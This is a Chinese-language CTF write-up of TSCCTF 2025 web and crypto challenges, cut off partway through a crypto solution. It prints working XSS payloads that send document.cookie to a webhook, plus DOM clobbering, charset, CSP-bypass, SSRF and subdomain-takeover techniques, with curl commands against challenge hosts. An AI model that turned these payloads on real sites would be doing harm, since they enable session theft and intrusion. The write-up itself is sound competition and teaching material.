最近在 CTFTime 看到一個 TSCCTF 是台灣打 CTF
的另一群學生辦的比賽,所以 Solo 解了些 Web & Crypto 和 Misc
中比較難的題目。
Web
book
XSS 題,核心是這段 js:
1 2 3 4 5 6 7 8 9 10 11 12 13 document .addEventListener ("DOMContentLoaded" , () => { const urlParams = new URLSearchParams (window .location .search ); const title = atob (urlParams.get ("title" )); const content = atob (urlParams.get ("content" )); document .getElementById ("title" ).innerHTML = DOMPurify .sanitize (title); if (typeof config !== "undefined" && config.DEBUG ) { document .getElementById ("content" ).innerHTML = content; } else { document .getElementById ("content" ).innerHTML = DOMPurify .sanitize (content); } });
顯然是要用 dom clobbering 去 clobber
winddow.config.DEBUG
,然後就能直接用 content xss:
title:
<a id="config"></a><a id="config" name="DEBUG">CLOBBERED</a>
content:
<img src=x: onerror="(new Image).src='//webhook?'+document.cookie">
Flag: TSC{CLOBBERING_TIME!!!!!_ui2qjwu3wesixz}
Beautiful World
也是 XSS 題,關鍵是這段 python:
1 2 3 4 5 6 7 8 9 10 11 12 13 @app.route("/note" , methods=["GET" ] ) def view_note (): """View a note""" content = base64.urlsafe_b64decode(request.args.get("content" , "" )).decode() soup = BeautifulSoup(content, "html.parser" ) if sum (ele.name != 's' for ele in soup.find_all()): return "no eval tag." if sum (ele.attrs != {} for ele in soup.find_all()): return "no eval attrs." return render_template("note.html" , note=content)
而 note.html
會直接把 note
在不 escape
的情況下塞到 response 中,所以目標就只是繞這個用 bs4 +
html.parser
檢查的 html sanitizer。測試一下會發現
html.parser
在處裡 unclosed tag
的時候是會直接把它忽略掉的,所以用下面這個 payload 就能過:
1 <img src =x: onerror ="(new Image).src='//webhook?'+document.cookie" x ="
Flag:
TSC{Dont_use_Beautifulsoup_to_sanitise_HTML_u2gqwiewgyqwas}
Fakebook Pro
還是 XSS 題,關鍵在 posts.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <h2>Posts by <?php echo htmlspecialchars ($username ?? 'Unknown' ); ?> </h2> <?php if (isset ($error )) { echo "<p style='color: red;'>$error </p>" ; } else { $i = 0 ; if ($postsResult ->numColumns () > 0 ) { while ($post = $postsResult ->fetchArray ()) { $i ++; echo "<div class='box'><strong>Posted on: " . $post ['created_at' ] . "</strong><div id='post$i ' class='post'></div></div>" ; echo " <script> post = \"" .remove_quotes ($post ['content' ])."\"; document.getElementById('post$i ').innerHTML = DOMPurify.sanitize(post); </script> " ; } } else { echo "<p>This user has not made any posts yet.</p>" ; } } ?>
$username
和 $post['content']
都可控。其中
remove_quotes
來自開頭引入的 init.php
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php ini_set ('expose_php' , '0' ); ini_set ('session.cookie_httponly' , 1 ); ini_set ('default_charset' , '' ); ini_set ('max_execution_time' , '5' ); ini_set ('max_input_time' , '5' ); ini_set ('max_input_vars' , '1000' ); header ('Content-Type: text/html' ); header ('X-Powered-By: Express' ); header ('ETag: W/"86f-oSPkbf9oIjxXhokikR8tx7FSWXs"' ); header ('Connection: keep-alive' ); header ('Keep-Alive: timeout=5' ); function remove_quotes ($str ) { $str = str_replace ("\\" , "" , $str ); $str = str_replace ("\"" , "\\\"" , $str ); $str = str_replace ("<" , "" , $str ); $str = str_replace (">" , "" , $str ); $str = str_replace ("\n" , "" , $str ); $str = str_replace ("\r" , "" , $str ); return $str ; }
我自己是沒看出 remove_quotes
可以怎麼繞,不過看到
init.php
設定 Content-Type: text/html
讓我想到
Encoding
Differentials: Why Charset Matters ,裡面說 Chromium & Firefox
都會在沒 charset 時做 encoding,而其中的 ISO-2022-JP
就可以拿來利用。而這題的情況就和文章中 technique 1 一樣,在
$username
塞 \x1b(J
讓他 switch 到
JIS X 0201 1976
的 encoding,此時 \
字元會被當成 ¥
yen symbol,所以 remove_quotes
幫我加的 \
就會失效。
具體方法就是註冊 username 為 \x1b(J
的 user,然後再 post
content 塞 ";alert(origin)//
就能 XSS 了。之後 report 給
bot /posts.php?username=%1b(J)
這個 path 即可。
不過這題最麻煩的點在於題目給的 bot 透過 docker network
限制不能對外連線,所以在 document.cookie
後不能直接對外傳,只能想辦法把它存在這個 XSS 的網站上。我的想法是讓 bot
登入 flag:flag
使用者然後把 flag 放到 posts
中,不過要做到這件事也是有些麻煩,因為登入的 index.php
會直接 redirect 已登入的使用者到 dashboard.php
:
1 2 3 4 if (isset ($_SESSION ['username' ])) { header ('Location: dashboard.php' ); die (); }
bot.js
中有這段:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 const visit = async url => { let browser try { url = new URL (url) browser = await puppeteer.launch ({ headless : true , args : ["--disable-gpu" , "--no-sandbox" ], executablePath : "/usr/bin/chromium-browser" , }); const context = await browser.createIncognitoBrowserContext () const page = await context.newPage () await page.setCookie ({ name : "flag" , value : btoa (eval (`${'F' +'L' +'A' +'G' } ` )), domain : url.hostname , }) await page.setCookie ({ name : "admin" , value : "true" , domain : url.hostname , }) await page.goto (SITE ) await sleep (2 ) await page.type ("#username" , ADMIN_USERNAME + crypto.randomBytes (8 ).toString ('hex' )) await page.type ("#password" , ADMIN_PASSWORD ) await page.click ("#login" ); await sleep (2 ); await page.goto (url, { timeout : 10000 }); await sleep (10 ); await browser.close () } catch (e) { console .log (e) } finally { if (browser) await browser.close () } }
可知 bot 除了有 flag
cookie 還有個
admin=true
,且還會是登入的狀況,所以沒辦法直接登入。而
logout.php
長這樣:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php include ("init.php" );if (!isset ($_SESSION ['username' ])) { header ('Location: index.php' ); die (); } if (isset ($_COOKIE ['admin' ])) { die ("You are not authorized to access this page." ); } session_destroy ();header ('Location: index.php' );
所以透過 XSS 需要做這幾件事才能拿到 flag:
把 admin
cookie 刪掉
visit logout.php
把已登入的 admin user 登出
post index.php
登入 flag user (credential:
flag:flag
)
post dashboard.php
把 document.cookie
當作
content 存入
自己登入 flag user 得到 flag
實際把 js 寫出來會變成這樣:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 sleep = function (ms ) { return new Promise (function (res ) { setTimeout (res, ms) }) } ;(async function ( ) { try { if (document .cookie .includes ('admin' )) { document .cookie = 'admin=; Max-Age=0' w = open ('/logout.php' ) await sleep (1000 ) w.username .value = 'flag' w.password .value = 'flag' w.username .form .submit () await sleep (1000 ) await fetch ('/dashboard.php' , { method : 'POST' , credentials : 'include' , body : new URLSearchParams ({ content : document .cookie }), }) } } catch (err) { console .log (err.message , err.stack ) } })()
然後寫 js 時還要特別注意繞過 remove_quotes
中禁止的字元,所以不能用 arrow function,然後也要把 \n
換成
;
。
Flag:
TSC{Nyan~~; Nyan Nyan~~; Kon kon kon!!!_0c17deebb01a4a48b64a41cf8e891284}
Fakebook Ultra
這題延續上一題,變動的部分不多。首先是 posts.php
的 XSS
簡化為:
1 echo "<div class='box'><strong>Posted on: " . $post ['created_at' ] . "</strong><div id='post$i ' class='post'>" .$post ['content' ]."</div></div>" ;
所以不用特別用 encoding 去繞,但是 init.php
有多
CSP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php ini_set ('expose_php' , '0' ); ini_set ('session.cookie_httponly' , 1 ); ini_set ('default_charset' , '' ); ini_set ('max_execution_time' , '5' ); ini_set ('max_input_time' , '5' ); ini_set ('max_input_vars' , '1000' ); header ('Content-Type: text/html' ); header ('X-Powered-By: Express' ); header ('ETag: W/"86f-oSPkbf9oIjxXhokikR8tx7FSWXs"' ); header ('Connection: keep-alive' ); header ('Keep-Alive: timeout=5' ); header ("Content-Security-Policy: default-src 'none'; style-src 'self' 'unsafe-inline';" );
且 logout.php
被刪除了,所以沒辦法登出 (騙人的吧)。而
bot 的部分完全沒改動,也無法對外連線。
首先是繞 CSP 的部分我是想到用 justCTF 2020 - Baby CSP
的方法,透過讓 php 在呼叫 header()
前產生
warning,然後只要塞爆 output buffering 的 buffer size 的話就能讓
response 先被送出去,那後面的 header()
call 就會失效。
以這題情況看起來最可利用的是
ini_set('max_input_vars', '1000');
,只要讓他超過 1000
個參數就會噴 warning。具體來說用 xss
user 登入,然後新增
post content
<script>alert(origin)</script>
,之後 visit
/posts.php?username=xss¶m1=1¶m2=2&...¶m1000=1000
就會看到 alert 了。
不過 server 回傳的 html 長這樣:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <br /> <b > Warning</b > : PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in <b > Unknown</b > on line <b > 0</b > <br /> <br /> <b > Warning</b > : ini_set(): Session ini settings cannot be changed after headers have already been sent in <b > /var/www/html/init.php</b > on line <b > 4</b > <br /> <br /> <b > Warning</b > : Cannot modify header information - headers already sent in <b > /var/www/html/init.php</b > on line <b > 11</b > <br /> <br /> <b > Warning</b > : Cannot modify header information - headers already sent in <b > /var/www/html/init.php</b > on line <b > 12</b > <br /> <br /> <b > Warning</b > : Cannot modify header information - headers already sent in <b > /var/www/html/init.php</b > on line <b > 13</b > <br /> <br /> <b > Warning</b > : Cannot modify header information - headers already sent in <b > /var/www/html/init.php</b > on line <b > 14</b > <br /> <br /> <b > Warning</b > : Cannot modify header information - headers already sent in <b > /var/www/html/init.php</b > on line <b > 15</b > <br /> <br /> <b > Warning</b > : Cannot modify header information - headers already sent in <b > /var/www/html/init.php</b > on line <b > 18</b > <br /> <br /> <b > Warning</b > : session_start(): Session cannot be started after headers have already been sent in <b > /var/www/html/init.php</b > on line <b > 38</b > <br /> <!DOCTYPE html > <html lang ="en" > <head > <title > Posts</title > <link rel ="stylesheet" href ="styles.css" > <meta name ="viewport" content ="width=device-width, initial-scale=1" > </head > <body > <main class ="container" > <h2 > Posts by xss</h2 > <div class ='box' > <strong > Posted on: 2025-01-15 14:07:22</strong > <div id ='post1' class ='post' > <script > alert(origin)</script > </div > </div > <a href ="index.php" > <button class ="big_button" > Back to Home</button > </a > </main > </body > </html >
可看到 warning 的部分顯然不像原本那篇 writeup 所說超過 4096
bytes,但它還是成功的把後面的 header()
call
給忽略了,所以這邊實際上停用掉 CSP 的可能不是 output buffering
的機制。
之後從 XSS 到拿到 flag 還是得用前面的方法: 登出 admin -> 登入 flag
user -> post document.cookie
到 posts 中 ->
自己登入拿到 flag。
但這題沒有 logout.php
,所以我們就被困在 SAO
的世界中無法登出 admin user,也就不能登入 flag user。
我這邊找到的繞法是利用 report.php
的小 bug:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function build_url (array $parts ) { return (isset ($parts ['scheme' ]) ? "{$parts['scheme']} :" : '' ) . ((isset ($parts ['user' ]) || isset ($parts ['host' ])) ? '//' : '' ) . (isset ($parts ['user' ]) ? "{$parts['user']} " : '' ) . (isset ($parts ['pass' ]) ? ":{$parts['pass']} " : '' ) . (isset ($parts ['user' ]) ? '@' : '' ) . (isset ($parts ['host' ]) ? "{$parts['host']} " : '' ) . (isset ($parts ['port' ]) ? ":{$parts['port']} " : '' ) . (isset ($parts ['path' ]) ? "{$parts['path']} " : '' ) . (isset ($parts ['query' ]) ? "?{$parts['query']} " : '' ) . (isset ($parts ['fragment' ]) ? "#{$parts['fragment']} " : '' ); } $URL = parse_url ($_POST ['url' ]);$URL ['scheme' ] = 'http' ;$URL ['host' ] = 'cms' ;$URL ['port' ] = 80 ;$URL = build_url ($URL );$res = sendUrlToBot ($URL );echo $res ['data' ];
可以觀察到如果 url
是 @host/path
,那
parse_url
會把它變成
["path"]=> string(10) "@host/path"
,而
build_url
會 return
http://cms:80@host/path
。因此它強制加上的
cms:80
變成了 user & pass,所以 bot 實際 visit 的 url
的 host 是可控的。
那 host 可控可以做到什麼呢? 可觀察到 bot setCookie
時是把 cookie 設在 visited url 的 hostname 下,所以如果 bot
可存取外網的話就可以直接讓它 visit 我們的 webhook,然後 flag
就會直接出現在 request header 中,所以會變成一個很大的 unintended
solution。
不過這邊 bot 不能對外連線,所以只能走正常的方法。我這邊的做法是讓
submit url @cms./posts.php?...
,那 bot 就會 visit
http://cms:80@cms./posts.php?...
。此處的 cms.
有個 trailing dot 所以是 FQDN,對瀏覽器來說和 cms
是不同的
hostname 所以也是不同的 origin。且 bot 登入時是在
http://cms
上登入的,所以 http://cms.
上是還沒有登入的狀態,所以拿 flag 的流程可以被簡化成:
post index.php
登入 flag user (credential:
flag:flag
)
post dashboard.php
把 document.cookie
當作
content 存入
自己登入 flag user 得到 flag
所以首先先用 xss
user 登入進去,新增以下 note
content:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <script > sleep = function (ms ) { return new Promise (function (res ) { setTimeout (res, ms) }) } ;(async function ( ) { try { if (document .cookie .includes ('admin' )) { document .cookie = 'admin=; Max-Age=0' w = open ('/' ) await sleep (1000 ) w.username .value = 'flag' w.password .value = 'flag' w.username .form .submit () await sleep (1000 ) await fetch (new URL ('/dashboard.php' , location.href ), { method : 'POST' , credentials : 'include' , body : new URLSearchParams ({ content : document .cookie }), }) console .log ('done' ) } } catch (err) { console .log (err.message , err.stack ) } })() </script >
接下來用 submit 特定的 url 給 report.php
:
1 curl 'http://TARGET_HOST:36369/report.php' --data-urlencode 'url=@cms./posts.php?xss=xss&0=1&1=1&2=1&3=1&4=1&5=1&6=1&7=1&8=1&9=1&10=1&11=1&12=1&13=1&14=1&15=1&16=1&17=1&18=1&19=1&20=1&21=1&22=1&23=1&24=1&25=1&26=1&27=1&28=1&29=1&30=1&31=1&32=1&33=1&34=1&35=1&36=1&37=1&38=1&39=1&40=1&41=1&42=1&43=1&44=1&45=1&46=1&47=1&48=1&49=1&50=1&51=1&52=1&53=1&54=1&55=1&56=1&57=1&58=1&59=1&60=1&61=1&62=1&63=1&64=1&65=1&66=1&67=1&68=1&69=1&70=1&71=1&72=1&73=1&74=1&75=1&76=1&77=1&78=1&79=1&80=1&81=1&82=1&83=1&84=1&85=1&86=1&87=1&88=1&89=1&90=1&91=1&92=1&93=1&94=1&95=1&96=1&97=1&98=1&99=1&100=1&101=1&102=1&103=1&104=1&105=1&106=1&107=1&108=1&109=1&110=1&111=1&112=1&113=1&114=1&115=1&116=1&117=1&118=1&119=1&120=1&121=1&122=1&123=1&124=1&125=1&126=1&127=1&128=1&129=1&130=1&131=1&132=1&133=1&134=1&135=1&136=1&137=1&138=1&139=1&140=1&141=1&142=1&143=1&144=1&145=1&146=1&147=1&148=1&149=1&150=1&151=1&152=1&153=1&154=1&155=1&156=1&157=1&158=1&159=1&160=1&161=1&162=1&163=1&164=1&165=1&166=1&167=1&168=1&169=1&170=1&171=1&172=1&173=1&174=1&175=1&176=1&177=1&178=1&179=1&180=1&181=1&182=1&183=1&184=1&185=1&186=1&187=1&188=1&189=1&190=1&191=1&192=1&193=1&194=1&195=1&196=1&197=1&198=1&199=1&200=1&201=1&202=1&203=1&204=1&205=1&206=1&207=1&208=1&209=1&210=1&211=1&212=1&213=1&214=1&215=1&216=1&217=1&218=1&219=1&220=1&221=1&222=1&223=1&224=1&225=1&226=1&227=1&228=1&229=1&230=1&231=1&232=1&233=1&234=1&235=1&236=1&237=1&238=1&239=1&240=1&241=1&242=1&243=1&244=1&245=1&246=1&247=1&248=1&249=1&250=1&251=1&252=1&253=1&254=1&255=1&256=1&257=1&258=1&259=1&260=1&261=1&262=1&263=1&264=1&265=1&266=1&267=1&268=1&269=1&270=1&271=1&272=1&273=1&274=1&275=1&276=1&277=1&278=1&279=1&280=1&281=1&282=1&283=1&284=1&285=1&286=1&287=1&288=1&289=1&290=1&291=1&292=1&293=1&294=1&295=1&296=1&297=1&298=1&299=1&300=1&301=1&302=1&303=1&304=1&305=1&306=1&307=1&308=1&309=1&310=1&311=1&312=1&313=1&314=1&315=1&316=1&317=1&318=1&319=1&320=1&321=1&322=1&323=1&324=1&325=1&326=1&327=1&328=1&329=1&330=1&331=1&332=1&333=1&334=1&335=1&336=1&337=1&338=1&339=1&340=1&341=1&342=1&343=1&344=1&345=1&346=1&347=1&348=1&349=1&350=1&351=1&352=1&353=1&354=1&355=1&356=1&357=1&358=1&359=1&360=1&361=1&362=1&363=1&364=1&365=1&366=1&367=1&368=1&369=1&370=1&371=1&372=1&373=1&374=1&375=1&376=1&377=1&378=1&379=1&380=1&381=1&382=1&383=1&384=1&385=1&386=1&387=1&388=1&389=1&390=1&391=1&392=1&393=1&394=1&395=1&396=1&397=1&398=1&399=1&400=1&401=1&402=1&403=1&404=1&405=1&406=1&407=1&408=1&409=1&410=1&411=1&412=1&413=1&414=1&415=1&416=1&417=1&418=1&419=1&420=1&421=1&422=1&423=1&424=1&425=1&426=1&427=1&428=1&429=1&430=1&431=1&432=1&433=1&434=1&435=1&436=1&437=1&438=1&439=1&440=1&441=1&442=1&443=1&444=1&445=1&446=1&447=1&448=1&449=1&450=1&451=1&452=1&453=1&454=1&455=1&456=1&457=1&458=1&459=1&460=1&461=1&462=1&463=1&464=1&465=1&466=1&467=1&468=1&469=1&470=1&471=1&472=1&473=1&474=1&475=1&476=1&477=1&478=1&479=1&480=1&481=1&482=1&483=1&484=1&485=1&486=1&487=1&488=1&489=1&490=1&491=1&492=1&493=1&494=1&495=1&496=1&497=1&498=1&499=1&500=1&501=1&502=1&503=1&504=1&505=1&506=1&507=1&508=1&509=1&510=1&511=1&512=1&513=1&514=1&515=1&516=1&517=1&518=1&519=1&520=1&521=1&522=1&523=1&524=1&525=1&526=1&527=1&528=1&529=1&530=1&531=1&532=1&533=1&534=1&535=1&536=1&537=1&538=1&539=1&540=1&541=1&542=1&543=1&544=1&545=1&546=1&547=1&548=1&549=1&550=1&551=1&552=1&553=1&554=1&555=1&556=1&557=1&558=1&559=1&560=1&561=1&562=1&563=1&564=1&565=1&566=1&567=1&568=1&569=1&570=1&571=1&572=1&573=1&574=1&575=1&576=1&577=1&578=1&579=1&580=1&581=1&582=1&583=1&584=1&585=1&586=1&587=1&588=1&589=1&590=1&591=1&592=1&593=1&594=1&595=1&596=1&597=1&598=1&599=1&600=1&601=1&602=1&603=1&604=1&605=1&606=1&607=1&608=1&609=1&610=1&611=1&612=1&613=1&614=1&615=1&616=1&617=1&618=1&619=1&620=1&621=1&622=1&623=1&624=1&625=1&626=1&627=1&628=1&629=1&630=1&631=1&632=1&633=1&634=1&635=1&636=1&637=1&638=1&639=1&640=1&641=1&642=1&643=1&644=1&645=1&646=1&647=1&648=1&649=1&650=1&651=1&652=1&653=1&654=1&655=1&656=1&657=1&658=1&659=1&660=1&661=1&662=1&663=1&664=1&665=1&666=1&667=1&668=1&669=1&670=1&671=1&672=1&673=1&674=1&675=1&676=1&677=1&678=1&679=1&680=1&681=1&682=1&683=1&684=1&685=1&686=1&687=1&688=1&689=1&690=1&691=1&692=1&693=1&694=1&695=1&696=1&697=1&698=1&699=1&700=1&701=1&702=1&703=1&704=1&705=1&706=1&707=1&708=1&709=1&710=1&711=1&712=1&713=1&714=1&715=1&716=1&717=1&718=1&719=1&720=1&721=1&722=1&723=1&724=1&725=1&726=1&727=1&728=1&729=1&730=1&731=1&732=1&733=1&734=1&735=1&736=1&737=1&738=1&739=1&740=1&741=1&742=1&743=1&744=1&745=1&746=1&747=1&748=1&749=1&750=1&751=1&752=1&753=1&754=1&755=1&756=1&757=1&758=1&759=1&760=1&761=1&762=1&763=1&764=1&765=1&766=1&767=1&768=1&769=1&770=1&771=1&772=1&773=1&774=1&775=1&776=1&777=1&778=1&779=1&780=1&781=1&782=1&783=1&784=1&785=1&786=1&787=1&788=1&789=1&790=1&791=1&792=1&793=1&794=1&795=1&796=1&797=1&798=1&799=1&800=1&801=1&802=1&803=1&804=1&805=1&806=1&807=1&808=1&809=1&810=1&811=1&812=1&813=1&814=1&815=1&816=1&817=1&818=1&819=1&820=1&821=1&822=1&823=1&824=1&825=1&826=1&827=1&828=1&829=1&830=1&831=1&832=1&833=1&834=1&835=1&836=1&837=1&838=1&839=1&840=1&841=1&842=1&843=1&844=1&845=1&846=1&847=1&848=1&849=1&850=1&851=1&852=1&853=1&854=1&855=1&856=1&857=1&858=1&859=1&860=1&861=1&862=1&863=1&864=1&865=1&866=1&867=1&868=1&869=1&870=1&871=1&872=1&873=1&874=1&875=1&876=1&877=1&878=1&879=1&880=1&881=1&882=1&883=1&884=1&885=1&886=1&887=1&888=1&889=1&890=1&891=1&892=1&893=1&894=1&895=1&896=1&897=1&898=1&899=1&900=1&901=1&902=1&903=1&904=1&905=1&906=1&907=1&908=1&909=1&910=1&911=1&912=1&913=1&914=1&915=1&916=1&917=1&918=1&919=1&920=1&921=1&922=1&923=1&924=1&925=1&926=1&927=1&928=1&929=1&930=1&931=1&932=1&933=1&934=1&935=1&936=1&937=1&938=1&939=1&940=1&941=1&942=1&943=1&944=1&945=1&946=1&947=1&948=1&949=1&950=1&951=1&952=1&953=1&954=1&955=1&956=1&957=1&958=1&959=1&960=1&961=1&962=1&963=1&964=1&965=1&966=1&967=1&968=1&969=1&970=1&971=1&972=1&973=1&974=1&975=1&976=1&977=1&978=1&979=1&980=1&981=1&982=1&983=1&984=1&985=1&986=1&987=1&988=1&989=1&990=1&991=1&992=1&993=1&994=1&995=1&996=1&997=1&998=1&999=1'
Flag:
TSC{Nyan~~; Nyan? Nyan!_e41783351a7440bc8fe8b75d6548a9cc}
Proxy Revenge
這題是改自 CGGC
2024 - Proxy 的題目:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 <?php session_start ();function check_domain ($url ) { $DOMAIN_SUFFIX = "\.tscctf-2025\.ctftime\.uk" ; $pattern = "/^https?:\/\/.?.?[a-zA-Z0-9-]+" .$DOMAIN_SUFFIX ."\/.*$/" ; if (preg_match ($pattern , $url )) { return true ; } die ("Good Hacker" ); } function proxy ($service ) { $requestUri = $_SERVER ['REQUEST_URI' ]; $parsedUrl = parse_url ($requestUri ); $options = array ( CURLOPT_RETURNTRANSFER => true , CURLOPT_HEADER => false , CURLOPT_FOLLOWLOCATION => false , CURLOPT_MAXREDIRS => 2 , CURLOPT_ENCODING => "" , CURLOPT_USERAGENT => "FLAG{not_flag}" , CURLOPT_AUTOREFERER => true , CURLOPT_CONNECTTIMEOUT => 10 , CURLOPT_TIMEOUT => 10 , ); if (strlen ($service ) > 50 ) { die ("Service name is too long." ); } $port = 80 ; setcookie ("service" , $service ); setcookie ("port" , $port ); $ch = curl_init (); curl_setopt_array ($ch , $options ); $filter = '!$%^&*()=+[]{}|;\'",<>?_-/#:.\\@' ; $fixeddomain = trim (trim ($service , $filter ).".cggc.chummy.tw:" .$port , $filter ); $fixeddomain = idn_to_ascii ($fixeddomain ); $fixeddomain = preg_replace ('/[^0-9a-zA-Z-.:_]/' , '' , $fixeddomain ); $url = 'http://' .$fixeddomain .$parsedUrl ['path' ].'?' .$_SERVER ['QUERY_STRING' ]; check_domain ($url ); curl_setopt ($ch , CURLOPT_URL, $url ); $response = curl_exec ($ch ); curl_close ($ch ); if (!isset ($_SESSION ['admin' ]) || $_SESSION ['admin' ] !== true ) { header ("Location: https://www.youtube.com/watch?v=dQw4w9WgXcQ" ); } if (strpos ($response , "please_give_me_flag_QQ" ) !== false ) { echo getenv ('FLAG' ); } curl_close ($ch ); } if (isset ($_GET ['service' ])) proxy ($_GET ['service' ]); else highlight_file (__FILE__ );
首先我在這篇 writeup 看到說
idn_to_ascii
在長度過長時會回傳 empty string
有機會利用,但是這題限制 $service
長度不超過
50,所以這個方法不適用。
所以我跑去翻了一下 idn_to_ascii
的 source
code 發現它是把 utf-8 字串轉成 ascii (punycode),所以就直接塞個
\xff
到 $service
中讓它變 invalid utf-8
string,此時 idn_to_ascii
也會回傳 empty string,也會讓
fixeddomain
變成 empty string。
而 $url
是這樣構造的:
1 $url = 'http://' .$fixeddomain .$parsedUrl ['path' ].'?' .$_SERVER ['QUERY_STRING' ];
因此要控制 ssrf host 的話就要透過 $parsedUrl['path']
來控制,而它又來自
$parsedUrl = parse_url($_SERVER['REQUEST_URI']);
。在 Apache
+ PHP 中 $_SERVER['REQUEST_URI']
就是 http request 的完整
path,但是這邊如果隨便給的話會在 Apache 那層就 404,也不會執行到這個
index.php
。
我這邊利用的是 Apache 可以用 /index.php/peko/miko
這樣的情況下也能執行 index.php
的機制,然後只要在那前面多塞一個 /
變成
//index.php/host/path
(schemeless url) 之後整個
$url
就變成 http:///host/path?service=%ff
了。
現在 $url
大部分都可控,最後要在通過
check_domain
函數的情況下也繞過 ssrf response check
才能拿到 flag。
check_domain
的 regex 為
^https?://.?.?[a-zA-Z0-9-]+\.tscctf-2025\.ctftime\.uk/.*$
,基本上除了在
https?://
後面多兩個任意字元,剩下就限制 host 為
tscctf-2025.ctftime.uk
的 subdomain。
隨便找個 subdomain dig 看看會發現:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 > dig peko.tscctf-2025.ctftime.uk ; <<>> DiG 9.20.4 <<>> peko.tscctf-2025.ctftime.uk ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 11595 ;; flags: qr rd ra; QUERY: 1, ANSWER: 5, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 65494 ;; QUESTION SECTION: ;peko.tscctf-2025.ctftime.uk. IN A ;; ANSWER SECTION: peko.tscctf-2025.ctftime.uk. 300 IN CNAME ching367436.github.io. ching367436.github.io. 3595 IN A 185.199.108.153 ching367436.github.io. 3595 IN A 185.199.109.153 ching367436.github.io. 3595 IN A 185.199.111.153 ching367436.github.io. 3595 IN A 185.199.110.153 ;; Query time: 29 msec ;; SERVER: 127.0.0.53#53(127.0.0.53) (UDP) ;; WHEN: Wed Jan 15 23:35:17 CST 2025 ;; MSG SIZE rcvd: 155
代表它應該是 wildcard 的 subdomain 直接指到 github
pages,直接透過瀏覽器瀏覽也是看到 github pages 的 404,所以可以直接用
subdomain takeover 的方式來控制 response。
具體 takeover 方式不詳述,可以自己查。我自己是拿了
http://maple3142.tscctf-2025.ctftime.uk/
,所以最後這樣即可拿到
flag:
1 2 > curl 'http://172.31.2.2:36360//index.php/maple3142.tscctf-2025.ctftime.uk/?service=%ff' TSC{C0de_St0l3n_1s_C0de_Earn3d}
Crypto
2DES
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 from Crypto.Cipher import DESfrom Crypto.Util.Padding import padfrom random import choicefrom os import urandomfrom time import sleepdef encrypt (msg: bytes , key1, key2 ): des1 = DES.new(key1, DES.MODE_ECB) des2 = DES.new(key2, DES.MODE_ECB) return des2.encrypt(des1.encrypt(pad(msg, des1.block_size))) def main (): flag = open ('/flag.txt' , 'r' ).read().strip().encode() print ("This is a 2DES encryption service." ) print ("But you can only control one of the key." ) print () while True : print ("1. Encrypt flag" ) print ("2. Decrypt flag" ) print ("3. Exit" ) option = int (input ("> " )) if option == 1 : keyset = ["1FE01FE00EF10EF1" , "01E001E001F101F1" , "1FFE1FFE0EFE0EFE" ] key1 = bytes .fromhex(choice(keyset)) key2 = bytes .fromhex(input ("Enter key2 (hex): " ).strip()) ciphertext = encrypt(flag, key1, key2) print ("Here is your encrypted flag:" , flush=True ) print ("..." , flush=True ) sleep(3 ) if ciphertext[:4 ] == flag[:4 ]: print (ciphertext) print ("Hmmm... What a coincidence!" ) else : print ("System error!" ) print () elif option == 2 : print ("Decryption are disabled" ) print () elif option == 3 : print ("Bye!" ) exit() else : print ("Invalid option" ) print () if __name__ == "__main__" : main()
這題很簡單,在 wiki
上可看到 1FE01FE00EF10EF1
是 DES 的 semi-weak
key,代表它存在另一對 key 符合 ,即
E01FE01FF10EF10E
。
因此這樣就有
的機率可以拿到 flag 了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 > printf '1\nE01FE01FF10EF10E\n3\n' | nc 172.31.2.2 9487 This is a 2DES encryption service. But you can only control one of the key. 1. Encrypt flag 2. Decrypt flag 3. Exit > Enter key2 (hex): Here is your encrypted flag: ... b'TSC{th3_Key_t0_br34k_DES_15_tHe_keY}\x04\x04\x04\x04' Hmmm... What a coincidence! 1. Encrypt flag 2. Decrypt flag 3. Exit > Bye!
我從來都不覺得算密碼學開心過
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from Crypto.Util.number import getPrime, long_to_bytesfrom Crypto.Util.Padding import padfrom Crypto.Cipher import AESfrom random import randrangeflag = open ('flag.txt' , 'r' ).read().strip().encode() p = getPrime(16 ) r = [randrange(1 , p) for _ in range (5 )] print (f'p = {p} ' )for i in range (4 ): h = flag[i] for j in range (5 ): h = (h + (j+1 ) * r[j]) % p r[j] = h print (f"hash[{i} ] = {h} " ) key = 0 for rr in r: key += rr key *= 2 **16 key = pad(long_to_bytes(key), 16 ) aes = AES.new(key, AES.MODE_ECB) ciphertext = aes.encrypt(pad(flag, AES.block_size)) print (f"ciphertext = {ciphertext} " )
這題 flag[0:4] == b'TSC{'
已知,所以只有 的五個未知數,然後 h_i
顯然都是 linear combination of ,所以就有個 上的 underdetermined linear
